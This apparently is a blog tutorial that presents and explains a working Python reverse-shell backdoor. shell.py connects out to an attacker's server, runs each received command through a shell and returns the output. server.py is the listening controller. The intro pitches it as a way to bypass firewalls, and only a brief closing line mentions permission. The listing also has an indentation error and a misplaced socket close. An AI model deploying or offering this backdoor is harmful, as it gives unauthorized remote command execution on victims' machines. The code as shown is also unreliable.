# Reverse Shell | Backdoor Implementation in Python

## **Introduction**

A **reverse shell** is a type of shell in which the target machine initiates the connection to the attacker's machine. In other words, instead of the attacker connecting to the target machine, the target machine connects back to the attacker's machine.

Reverse shells are often used in situations where the attacker is unable to connect directly to the target machine due to firewalls or other security measures. By using a reverse shell, the attacker can bypass these security measures and gain remote access to the target machine.

The code consists of two Python scripts: `shell.py` and `server.py`. The `shell.py` script creates a reverse shell, which means it allows the user to execute commands on the remote machine from the server machine. The `server.py` script acts as the server and listens for incoming connections from the `shell.py` script.

<mark>Source code - </mark> [<mark>Here</mark>](https://github.com/kartikmehta8/reverse-shell)

## \`shell.py\`

Let's go through the code in `shell.py` line by line:

```python
import sys
import socket
import subprocess

# SERVER ID ADDRESS
SERVER_IP = ""
PORT = 4444

s = socket.socket()
s.connect((SERVER_IP, PORT))
```

The `socket` module is imported, which provides low-level networking interfaces. The `subprocess` module is imported to run shell commands. The `SERVER_IP` and `PORT` variables are set to the IP address and port number of the server machine. A new socket object is created, which is used to connect to the server.

```python
msg = s.recv(1024).decode()
print("[*] server: ", msg)
```

The script waits to receive a message from the server and prints it to the console. This message is just a confirmation that the connection has been established successfully.

```python
while True:
    cmd = s.recv(1024).decode()
    print(f"[+] received command: {cmd}")
```

The script enters an infinite loop, waiting for commands from the server. When a command is received, it is printed to the console.

```python
    if cmd.lower() in ["exit", "quit"]:
    break
```

If the command received is either "exit" or "quit", the loop is broken, and the connection to the server is closed.

```python
    try:
        result = subprocess.check_output(cmd, stderr = subprocess.STDOUT, shell=True)
    except Exception as e:
        result = str(e).encode()

    if len(result) == 0:
        result = '[+] Executed successfully'.encode()
    s.send(result)
```

The script executes the received command using the `subprocess` module's `check_output` method. If the command fails to execute, the error message is sent back to the server. If the command executes successfully, the output of the command is sent back to the server.

## \`server.py\`

Now, let's go through the code in `server.py` line by line:

```python
import socket

# SERVER IP ADDRESS
SERVER_IP = ""
PORT = 4444
```

The `socket` module is imported. The `SERVER_IP` and `PORT` variables are set to the IP address and port number on which the server listens for incoming connections.

```python
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_IP, PORT))
```

A new socket object is created. The `setsockopt` method is used to set the `SO_REUSEADDR` option to allow the socket to be reused immediately after it is closed. The `bind` method is used to bind the socket to the `SERVER_IP` and `PORT`.

```python
s.listen(1)

while True:
    print(f"[+] listening as {SERVER_IP}:{PORT}")

    client = s.accept()
    print(f"[+] client connected {client[1]}")

    client[0].send('connected'.encode())
```

The `listen` method is called to start listening for incoming connections. The script enters a loop that waits for clients to connect. When a client connects, the script prints a message to the console indicating that a new client has connected. Then, the script sends a message to the client indicating that it has connected.

```python
while True:
    cmd = input(">>> ")
    client[0].send(cmd.encode())

    if cmd.lower() in ["exit", "quit"]:
        break

    result = client[0].recv(1024).decode()
    print(result)

    client[0].close()

    cmd = input("Wait for new client? [y/n]: ") or 'y'
    if cmd.lower() in ['n', "no"]:
        break
```

The script enters another loop that waits for commands to be entered from the console. The script sends these commands to the client using the `send` method. If the command is either "exit" or "quit", the loop is broken, and the connection to the client is closed. If the command is something else, the script waits for a response from the client and prints it to the console.

After the loop is broken, the script prompts the user to see if they want to wait for another client. If the user enters "n" or "no", the loop is broken, and the script closes the socket.

## **Conclusion**

In this blog post, we have gone through the `shell.py` and `server.py` scripts and explained how they work. The `shell.py` script creates a reverse shell, which allows the user to execute commands on the remote machine from the server machine. The `server.py` script acts as the server and listens for incoming connections from the `shell.py` script. With these scripts, one can gain remote access to a machine and execute commands on it. It's worth noting that while such scripts can be useful for remote administration, they can also be used maliciously, so it's essential to use them responsibly and only on machines that you have permission to access.
